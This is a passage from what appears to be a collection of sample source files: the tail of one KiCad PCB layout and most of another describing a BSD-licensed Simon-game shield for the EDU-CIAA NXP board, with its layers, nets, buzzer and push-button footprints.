161.7472 110.8198)\n        (xy 161.7472 110.266176) (xy 161.7472 110.155024) (xy 161.7472 109.26572) (xy 161.7472 109.12348) (xy 161.7472 108.234176)\n        (xy 161.7472 108.123024) (xy 161.704664 108.020333) (xy 161.626067 107.941736) (xy 161.523376 107.8992) (xy 160.67532 107.8992)\n        (xy 160.60547 107.96905) (xy 160.60547 109.19333) (xy 161.67735 109.19333) (xy 161.7472 109.12348) (xy 161.7472 109.26572)\n        (xy 161.67735 109.19587) (xy 160.60547 109.19587) (xy 160.60547 110.42015) (xy 160.67532 110.49) (xy 161.523376 110.49)\n        (xy 161.626067 110.447464) (xy 161.704664 110.368867) (xy 161.7472 110.266176) (xy 161.7472 110.8198) (xy 160.60293 110.8198)\n        (xy 160.60293 110.42015) (xy 160.60293 109.19587) (xy 160.60293 109.19333) (xy 160.60293 107.96905) (xy 160.53308 107.8992)\n        (xy 159.685024 107.8992) (xy 159.582333 107.941736) (xy 159.503736 108.020333) (xy 159.4612 108.123024) (xy 159.4612 108.234176)\n        (xy 159.4612 109.12348) (xy 159.53105 109.19333) (xy 160.60293 109.19333) (xy 160.60293 109.19587) (xy 159.53105 109.19587)\n        (xy 159.4612 109.26572) (xy 159.4612 110.155024) (xy 159.4612 110.266176) (xy 159.503736 110.368867) (xy 159.582333 110.447464)\n        (xy 159.685024 110.49) (xy 160.53308 110.49) (xy 160.60293 110.42015) (xy 160.60293 110.8198) (xy 158.3944 110.8198)\n        (xy 158.3944 110.449696) (xy 158.501607 110.428372) (xy 158.872423 110.180601) (xy 159.120194 109.809785) (xy 159.2072 109.372378)\n        (xy 159.2072 109.016822) (xy 159.120194 108.579415) (xy 158.872423 108.208599) (xy 158.501607 107.960828) (xy 158.0642 107.873822)\n        (xy 157.626793 107.960828) (xy 157.255977 108.208599) (xy 157.008206 108.579415) (xy 156.9212 109.016822) (xy 156.9212 109.372378)\n        (xy 157.008206 109.809785) (xy 157.255977 110.180601) (xy 157.626793 110.428372) (xy 157.734 110.449696) (xy 157.734 110.9642)\n        (xy 157.759135 111.090562) (xy 157.830713 111.197687) (xy 158.016513 111.383487) (xy 158.123638 111.455065) (xy 158.25 111.480201)\n        (xy 158.25 111.4802) (xy 158.250005 111.4802) (xy 162.55 111.4802) (xy 162.676362 111.455065) (xy 162.783487 111.383487)\n        (xy 163.583487 110.583487) (xy 163.655065 110.476362) (xy 163.6802 110.35) (xy 163.680201 110.35) (xy 163.6802 110.349994)\n        (xy 163.6802 101.75) (xy 163.655065 101.623638) (xy 163.583487 101.516513) (xy 161.433487 99.366513) (xy 161.326362 99.294935)\n        (xy 161.2 99.2698) (xy 159.35 99.2698) (xy 159.223638 99.294935) (xy 159.116513 99.366513) (xy 159.025 99.458026)\n        (xy 158.933487 99.366513) (xy 158.826362 99.294935) (xy 158.7 99.2698) (xy 154.100005 99.2698) (xy 154.1 99.269799)\n        (xy 153.973638 99.294935) (xy 153.866513 99.366513) (xy 152.766513 100.466513) (xy 152.694935 100.573638) (xy 152.6698 100.7)\n        (xy 152.6698 102.3) (xy 152.694935 102.426362) (xy 152.766513 102.533487) (xy 152.96651 102.733483) (xy 152.966513 102.733487)\n        (xy 152.966514 102.733487) (xy 153.073638 102.805065) (xy 153.2 102.830201) (xy 153.2 102.8302) (xy 153.200005 102.8302)\n        (xy 153.2206 102.8302) (xy 153.2206 102.97888) (xy 153.29045 103.04873) (xy 153.74873 103.04873) (xy 153.74873 103.02873)\n        (xy 153.75127 103.02873) (xy 153.75127 103.04873) (xy 154.20955 103.04873) (xy 154.2794 102.97888) (xy 154.2794 102.955773)\n        (xy 154.868129 103.544502) (xy 154.7968 103.615832) (xy 154.7968 104.0004) (xy 154.387007 104.0004) (xy 154.365194 103.978548)\n        (xy 154.2794 103.942923) (xy 154.2794 103.405576) (xy 154.2794 103.12112) (xy 154.20955 103.05127) (xy 153.75127 103.05127)\n        (xy 153.75127 103.55955) (xy 153.82112 103.6294) (xy 153.944424 103.6294) (xy 154.055576 103.6294) (xy 154.158267 103.586864)\n        (xy 154.236864 103.508267) (xy 154.2794 103.405576) (xy 154.2794 103.942923) (xy 154.225798 103.920666) (xy 154.074864 103.920534)\n        (xy 153.935368 103.978173) (xy 153.887912 104.025544) (xy 153.74873 103.886362) (xy 153.74873 103.55955) (xy 153.74873 103.05127)\n        (xy 153.29045 103.05127) (xy 153.2206 103.12112) (xy 153.2206 103.405576) (xy 153.263136 103.508267) (xy 153.341733 103.586864)\n        (xy 153.444424 103.6294) (xy 153.555576 103.6294) (xy 153.67888 103.6294) (xy 153.74873 103.55955) (xy 153.74873 103.886362)\n        (xy 153.675 103.812632) (xy 153.412173 104.075458) (xy 153.376346 104.076713) (xy 153.376346 103.986301) (xy 153.239069 103.92356)\n        (xy 153.088231 103.91813) (xy 152.946798 103.970835) (xy 152.923654 103.986301) (xy 152.926759 104.074963) (xy 153.15 104.298204)\n        (xy 153.373241 104.074963) (xy 153.376346 103.986301) (xy 153.376346 104.076713) (xy 153.375037 104.076759) (xy 153.151796 104.3)\n        (xy 153.165938 104.314142) (xy 153.164142 104.315938) (xy 153.15 104.301796) (xy 153.135857 104.315938) (xy 153.134061 104.314142)\n        (xy 153.148204 104.3) (xy 152.924963 104.076759) (xy 152.836301 104.073654) (xy 152.77356 104.210931) (xy 152.76813 104.361769)\n        (xy 152.798624 104.4436) (xy 152.037637 104.4436) (xy 152.036864 104.441733) (xy 151.958267 104.363136) (xy 151.855576 104.3206)\n        (xy 151.744424 104.3206) (xy 151.5762 104.3206) (xy 151.5762 97.681563) (xy 152.031563 97.2262) (xy 163.468437 97.2262)\n        (xy 163.9238 97.681563) (xy 163.9238 111.318437)\n      )\n    )\n  )\n  (zone (net 0) (net_name \"\") (layer F.Cu) (tstamp 550C7E3B) (hatch edge 0.508)\n    (connect_pads (clearance 0.2032))\n    (min_thickness 0.1524)\n    (keepout (tracks allowed) (vias allowed) (copperpour not_allowed))\n    (fill yes (arc_segments 16) (thermal_gap 0.2032) (thermal_bridge_width 0.15494) (smoothing chamfer) (radius 0.5))\n    (polygon\n      (pts\n        (xy 153.9 104.55) (xy 153.45 104.55) (xy 153.45 104.1) (xy 153.9 104.1)\n      )\n    )\n  )\n  (zone (net 0) (net_name \"\") (layer F.Cu) (tstamp 550C7E43) (hatch edge 0.508)\n    (connect_pads (clearance 0.2032))\n    (min_thickness 0.1524)\n    (keepout (tracks allowed) (vias allowed) (copperpour not_allowed))\n    (fill yes (arc_segments 16) (thermal_gap 0.2032) (thermal_bridge_width 0.15494) (smoothing chamfer) (radius 0.5))\n    (polygon\n      (pts\n        (xy 158.85 107.05) (xy 155 107.05) (xy 155 103.2) (xy 158.85 103.2)\n      )\n    )\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/simonShield.kicad_pcb",
    "content": "(kicad_pcb (version 4) (host pcbnew 4.0.6-e0-6349~53~ubuntu16.04.1)\n\n  (general\n    (links 89)\n    (no_connects 5)\n    (area 66.924999 42.174999 151.204428 107.575001)\n    (thickness 1.6)\n    (drawings 25)\n    (tracks 443)\n    (zones 0)\n    (modules 46)\n    (nets 98)\n  )\n\n  (page A4 portrait)\n  (title_block\n    (title \"Poncho Juego Simon EDU-CIAA NXP\")\n    (date 2016-07-14)\n    (rev 1.0)\n    (company \"Proyecto CIAA\")\n    (comment 1 \"Juan Agustin Bassi\")\n    (comment 2 \"Diseño PCB - CESE\")\n    (comment 3 \"Licencia BSD\")\n  )\n\n  (layers\n    (0 F.Cu signal)\n    (31 B.Cu signal)\n    (32 B.Adhes user hide)\n    (33 F.Adhes user hide)\n    (34 B.Paste user hide)\n    (35 F.Paste user hide)\n    (36 B.SilkS user hide)\n    (37 F.SilkS user)\n    (38 B.Mask user hide)\n    (39 F.Mask user hide)\n    (40 Dwgs.User user hide)\n    (41 Cmts.User user hide)\n    (42 Eco1.User user hide)\n    (43 Eco2.User user hide)\n    (44 Edge.Cuts user)\n    (45 Margin user hide)\n    (46 B.CrtYd user)\n    (47 F.CrtYd user)\n    (48 B.Fab user)\n    (49 F.Fab user)\n  )\n\n  (setup\n    (last_trace_width 1.2)\n    (user_trace_width 0.3)\n    (user_trace_width 0.45)\n    (user_trace_width 0.6)\n    (user_trace_width 0.9)\n    (user_trace_width 1.2)\n    (user_trace_width 1.5)\n    (trace_clearance 0.3)\n    (zone_clearance 0.5)\n    (zone_45_only yes)\n    (trace_min 0.3)\n    (segment_width 0.2)\n    (edge_width 0.15)\n    (via_size 1.27)\n    (via_drill 0.7112)\n    (via_min_size 1.27)\n    (via_min_drill 0.7112)\n    (user_via 1.27 0.7112)\n    (uvia_size 0.508)\n    (uvia_drill 0.254)\n    (uvias_allowed no)\n    (uvia_min_size 0.508)\n    (uvia_min_drill 0.254)\n    (pcb_text_width 0.3)\n    (pcb_text_size 1.5 1.5)\n    (mod_edge_width 0.15)\n    (mod_text_size 1 1)\n    (mod_text_width 0.15)\n    (pad_size 1.524 1.524)\n    (pad_drill 0.762)\n    (pad_to_mask_clearance 0.2)\n    (aux_axis_origin 0 0)\n    (visible_elements 7FFDD7EF)\n    (pcbplotparams\n      (layerselection 0x00020_80000000)\n      (usegerberextensions false)\n      (excludeedgelayer false)\n      (linewidth 0.100000)\n      (plotframeref false)\n      (viasonmask false)\n      (mode 1)\n      (useauxorigin false)\n      (hpglpennumber 1)\n      (hpglpenspeed 20)\n      (hpglpendiameter 15)\n      (hpglpenoverlay 2)\n      (psnegative false)\n      (psa4output false)\n      (plotreference false)\n      (plotvalue false)\n      (plotinvisibletext false)\n      (padsonsilk true)\n      (subtractmaskfromsilk false)\n      (outputformat 4)\n      (mirror false)\n      (drillshape 1)\n      (scaleselection 1)\n      (outputdirectory \"\"))\n  )\n\n  (net 0 \"\")\n  (net 1 GND)\n  (net 2 \"Net-(D1-Pad2)\")\n  (net 3 \"Net-(D2-Pad2)\")\n  (net 4 \"Net-(D4-Pad2)\")\n  (net 5 \"Net-(Q1-Pad2)\")\n  (net 6 \"Net-(Q1-Pad3)\")\n  (net 7 \"Net-(Q2-Pad2)\")\n  (net 8 \"Net-(Q2-Pad1)\")\n  (net 9 \"Net-(Q3-Pad2)\")\n  (net 10 \"Net-(Q3-Pad1)\")\n  (net 11 \"Net-(Q5-Pad2)\")\n  (net 12 \"Net-(Q5-Pad1)\")\n  (net 13 /buttons/BTN_LED_1)\n  (net 14 /buttons/BTN_CFG_1)\n  (net 15 /buttons/BTN_LED_2)\n  (net 16 /buttons/BTN_CFG_2)\n  (net 17 /buttons/BTN_CFG_3)\n  (net 18 /buttons/BTN_LED_4)\n  (net 19 \"Net-(Q1-Pad1)\")\n  (net 20 \"Net-(D3-Pad2)\")\n  (net 21 \"Net-(Q4-Pad2)\")\n  (net 22 \"Net-(Q4-Pad1)\")\n  (net 23 /buttons/BTN_LED_3)\n  (net 24 /buttons/BTN_CFG_4)\n  (net 25 \"Net-(P1-Pad1)\")\n  (net 26 \"Net-(P1-Pad3)\")\n  (net 27 /ciaaConector/LED_1)\n  (net 28 /ciaaConector/LED_2)\n  (net 29 /ciaaConector/LED_3)\n  (net 30 /ciaaConector/LED_4)\n  (net 31 /ciaaConector/PWM)\n  (net 32 VCC)\n  (net 33 \"Net-(F1-Pad1)\")\n  (net 34 \"Net-(F2-Pad1)\")\n  (net 35 \"Net-(F3-Pad1)\")\n  (net 36 \"Net-(XA1-Pad1)\")\n  (net 37 \"Net-(XA1-Pad2)\")\n  (net 38 \"Net-(XA1-Pad11)\")\n  (net 39 \"Net-(XA1-Pad4)\")\n  (net 40 \"Net-(XA1-Pad13)\")\n  (net 41 \"Net-(XA1-Pad6)\")\n  (net 42 \"Net-(XA1-Pad15)\")\n  (net 43 \"Net-(XA1-Pad8)\")\n  (net 44 \"Net-(XA1-Pad17)\")\n  (net 45 \"Net-(XA1-Pad10)\")\n  (net 46 \"Net-(XA1-Pad19)\")\n  (net 47 \"Net-(XA1-Pad12)\")\n  (net 48 \"Net-(XA1-Pad21)\")\n  (net 49 \"Net-(XA1-Pad14)\")\n  (net 50 \"Net-(XA1-Pad23)\")\n  (net 51 \"Net-(XA1-Pad16)\")\n  (net 52 \"Net-(XA1-Pad25)\")\n  (net 53 \"Net-(XA1-Pad18)\")\n  (net 54 \"Net-(XA1-Pad27)\")\n  (net 55 \"Net-(XA1-Pad20)\")\n  (net 56 \"Net-(XA1-Pad29)\")\n  (net 57 \"Net-(XA1-Pad22)\")\n  (net 58 \"Net-(XA1-Pad31)\")\n  (net 59 \"Net-(XA1-Pad24)\")\n  (net 60 \"Net-(XA1-Pad26)\")\n  (net 61 \"Net-(XA1-Pad33)\")\n  (net 62 \"Net-(XA1-Pad28)\")\n  (net 63 \"Net-(XA1-Pad32)\")\n  (net 64 \"Net-(XA1-Pad34)\")\n  (net 65 \"Net-(XA1-Pad36)\")\n  (net 66 \"Net-(XA1-Pad38)\")\n  (net 67 \"Net-(XA1-Pad35)\")\n  (net 68 \"Net-(XA1-Pad37)\")\n  (net 69 \"Net-(XA1-Pad3)\")\n  (net 70 \"Net-(XA1-Pad5)\")\n  (net 71 \"Net-(XA1-Pad7)\")\n  (net 72 \"Net-(XA1-Pad9)\")\n  (net 73 \"Net-(XA1-Pad39)\")\n  (net 74 \"Net-(XA1-Pad40)\")\n  (net 75 \"Net-(XA1-Pad30)\")\n  (net 76 \"Net-(XA1-Pad44)\")\n  (net 77 \"Net-(XA1-Pad45)\")\n  (net 78 \"Net-(XA1-Pad46)\")\n  (net 79 \"Net-(XA1-Pad47)\")\n  (net 80 \"Net-(XA1-Pad48)\")\n  (net 81 \"Net-(XA1-Pad50)\")\n  (net 82 \"Net-(XA1-Pad51)\")\n  (net 83 \"Net-(XA1-Pad52)\")\n  (net 84 \"Net-(XA1-Pad53)\")\n  (net 85 \"Net-(XA1-Pad54)\")\n  (net 86 \"Net-(XA1-Pad55)\")\n  (net 87 \"Net-(XA1-Pad56)\")\n  (net 88 \"Net-(XA1-Pad57)\")\n  (net 89 \"Net-(XA1-Pad59)\")\n  (net 90 \"Net-(XA1-Pad61)\")\n  (net 91 \"Net-(XA1-Pad63)\")\n  (net 92 \"Net-(XA1-Pad65)\")\n  (net 93 \"Net-(XA1-Pad67)\")\n  (net 94 \"Net-(XA1-Pad69)\")\n  (net 95 \"Net-(XA1-Pad70)\")\n  (net 96 \"Net-(XA1-Pad71)\")\n  (net 97 \"Net-(XA1-Pad72)\")\n\n  (net_class Default \"This is the default net class.\"\n    (clearance 0.3)\n    (trace_width 0.3)\n    (via_dia 1.27)\n    (via_drill 0.7112)\n    (uvia_dia 0.508)\n    (uvia_drill 0.254)\n    (add_net /buttons/BTN_CFG_1)\n    (add_net /buttons/BTN_CFG_2)\n    (add_net /buttons/BTN_CFG_3)\n    (add_net /buttons/BTN_CFG_4)\n    (add_net /buttons/BTN_LED_1)\n    (add_net /buttons/BTN_LED_2)\n    (add_net /buttons/BTN_LED_3)\n    (add_net /buttons/BTN_LED_4)\n    (add_net /ciaaConector/LED_1)\n    (add_net /ciaaConector/LED_2)\n    (add_net /ciaaConector/LED_3)\n    (add_net /ciaaConector/LED_4)\n    (add_net /ciaaConector/PWM)\n    (add_net GND)\n    (add_net \"Net-(D1-Pad2)\")\n    (add_net \"Net-(D2-Pad2)\")\n    (add_net \"Net-(D3-Pad2)\")\n    (add_net \"Net-(D4-Pad2)\")\n    (add_net \"Net-(F1-Pad1)\")\n    (add_net \"Net-(F2-Pad1)\")\n    (add_net \"Net-(F3-Pad1)\")\n    (add_net \"Net-(P1-Pad1)\")\n    (add_net \"Net-(P1-Pad3)\")\n    (add_net \"Net-(Q1-Pad1)\")\n    (add_net \"Net-(Q1-Pad2)\")\n    (add_net \"Net-(Q1-Pad3)\")\n    (add_net \"Net-(Q2-Pad1)\")\n    (add_net \"Net-(Q2-Pad2)\")\n    (add_net \"Net-(Q3-Pad1)\")\n    (add_net \"Net-(Q3-Pad2)\")\n    (add_net \"Net-(Q4-Pad1)\")\n    (add_net \"Net-(Q4-Pad2)\")\n    (add_net \"Net-(Q5-Pad1)\")\n    (add_net \"Net-(Q5-Pad2)\")\n    (add_net \"Net-(XA1-Pad1)\")\n    (add_net \"Net-(XA1-Pad10)\")\n    (add_net \"Net-(XA1-Pad11)\")\n    (add_net \"Net-(XA1-Pad12)\")\n    (add_net \"Net-(XA1-Pad13)\")\n    (add_net \"Net-(XA1-Pad14)\")\n    (add_net \"Net-(XA1-Pad15)\")\n    (add_net \"Net-(XA1-Pad16)\")\n    (add_net \"Net-(XA1-Pad17)\")\n    (add_net \"Net-(XA1-Pad18)\")\n    (add_net \"Net-(XA1-Pad19)\")\n    (add_net \"Net-(XA1-Pad2)\")\n    (add_net \"Net-(XA1-Pad20)\")\n    (add_net \"Net-(XA1-Pad21)\")\n    (add_net \"Net-(XA1-Pad22)\")\n    (add_net \"Net-(XA1-Pad23)\")\n    (add_net \"Net-(XA1-Pad24)\")\n    (add_net \"Net-(XA1-Pad25)\")\n    (add_net \"Net-(XA1-Pad26)\")\n    (add_net \"Net-(XA1-Pad27)\")\n    (add_net \"Net-(XA1-Pad28)\")\n    (add_net \"Net-(XA1-Pad29)\")\n    (add_net \"Net-(XA1-Pad3)\")\n    (add_net \"Net-(XA1-Pad30)\")\n    (add_net \"Net-(XA1-Pad31)\")\n    (add_net \"Net-(XA1-Pad32)\")\n    (add_net \"Net-(XA1-Pad33)\")\n    (add_net \"Net-(XA1-Pad34)\")\n    (add_net \"Net-(XA1-Pad35)\")\n    (add_net \"Net-(XA1-Pad36)\")\n    (add_net \"Net-(XA1-Pad37)\")\n    (add_net \"Net-(XA1-Pad38)\")\n    (add_net \"Net-(XA1-Pad39)\")\n    (add_net \"Net-(XA1-Pad4)\")\n    (add_net \"Net-(XA1-Pad40)\")\n    (add_net \"Net-(XA1-Pad44)\")\n    (add_net \"Net-(XA1-Pad45)\")\n    (add_net \"Net-(XA1-Pad46)\")\n    (add_net \"Net-(XA1-Pad47)\")\n    (add_net \"Net-(XA1-Pad48)\")\n    (add_net \"Net-(XA1-Pad5)\")\n    (add_net \"Net-(XA1-Pad50)\")\n    (add_net \"Net-(XA1-Pad51)\")\n    (add_net \"Net-(XA1-Pad52)\")\n    (add_net \"Net-(XA1-Pad53)\")\n    (add_net \"Net-(XA1-Pad54)\")\n    (add_net \"Net-(XA1-Pad55)\")\n    (add_net \"Net-(XA1-Pad56)\")\n    (add_net \"Net-(XA1-Pad57)\")\n    (add_net \"Net-(XA1-Pad59)\")\n    (add_net \"Net-(XA1-Pad6)\")\n    (add_net \"Net-(XA1-Pad61)\")\n    (add_net \"Net-(XA1-Pad63)\")\n    (add_net \"Net-(XA1-Pad65)\")\n    (add_net \"Net-(XA1-Pad67)\")\n    (add_net \"Net-(XA1-Pad69)\")\n    (add_net \"Net-(XA1-Pad7)\")\n    (add_net \"Net-(XA1-Pad70)\")\n    (add_net \"Net-(XA1-Pad71)\")\n    (add_net \"Net-(XA1-Pad72)\")\n    (add_net \"Net-(XA1-Pad8)\")\n    (add_net \"Net-(XA1-Pad9)\")\n    (add_net VCC)\n  )\n\n  (module simonShield:MagneticBuzzer_ProSignal_ABT-410-RC (layer F.Cu) (tedit 544E5504) (tstamp 5957451D)\n    (at 111.178971 53.624429 180)\n    (descr \"Buzzer, Elektromagnetic Beeper, Summer, 1,5V-DC,\")\n    (tags \"Pro Signal, ABT-410-RC,\")\n    (path /5797F3F6)\n    (fp_text reference U1 (at 3.175 -8.001 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value BUZZER (at 2.17424 8.001 180) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start 8.17626 -0.50038) (end 8.17626 0.50038) (layer F.SilkS) (width 0.15))\n    (fp_line (start 7.67588 0) (end 8.6741 0) (layer F.SilkS) (width 0.15))\n    (fp_circle (center 3.175 0) (end 4.17576 0) (layer F.SilkS) (width 0.15))\n    (fp_text user + (at 10.67562 0 180) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 3.175 0) (end 9.37514 0) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 0 0 180) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 6 \"Net-(Q1-Pad3)\"))\n    (pad 2 thru_hole circle (at 6.35 0 180) (size 1.6002 1.6002) (drill 1.00076) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (model Buzzers_Beepers.3dshapes/MagneticBuzzer_ProSignal_ABT-410-RC.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 1 1 1))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 59574511)\n    (at 112.877 94.402 270)\n    (path /5777D5BA/5777DCA9)\n    (fp_text reference SW8 (at 0 -0.762 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 24 /buttons/BTN_CFG_4))\n    (pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 24 /buttons/BTN_CFG_4))\n    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 59574505)\n    (at 124.053 94.402 270)\n    (path /5777D5BA/5777DC21)\n    (fp_text reference SW7 (at 0 -0.762 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 18 /buttons/BTN_LED_4))\n    (pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 18 /buttons/BTN_LED_4))\n    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744F9)\n    (at 93.827 94.529 90)\n    (path /5777D5BA/5777DC87)\n    (fp_text reference SW6 (at 0 -0.762 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 17 /buttons/BTN_CFG_3))\n    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 17 /buttons/BTN_CFG_3))\n    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744ED)\n    (at 105.003 94.529 90)\n    (path /5777D5BA/5777DBFF)\n    (fp_text reference SW5 (at 0 -0.762 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 23 /buttons/BTN_LED_3))\n    (pad 2 thru_hole circle (at 3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 23 /buttons/BTN_LED_3))\n    (pad 2 thru_hole circle (at -3.81 2.54 90) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744E1)\n    (at 112.877 71.034 270)\n    (path /5777D5BA/5777DC65)\n    (fp_text reference SW4 (at 0 -0.762 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 16 /buttons/BTN_CFG_2))\n    (pad 2 thru_hole circle (at 3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 1 thru_hole circle (at -3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 16 /buttons/BTN_CFG_2))\n    (pad 2 thru_hole circle (at -3.81 2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n  )\n\n  (module simonShield:SW_PUSH_SMALL (layer F.Cu) (tedit 0) (tstamp 595744D5)\n    (at 124.053 71.034 270)\n    (path /5777D5BA/5777DBDD)\n    (fp_text reference SW3 (at 0 -0.762 270) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value SW_PUSH (at 0 1.016 270) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole circle (at 3.81 -2.54 270) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS)\n      (net 15 /buttons/BTN_LED_2))\n    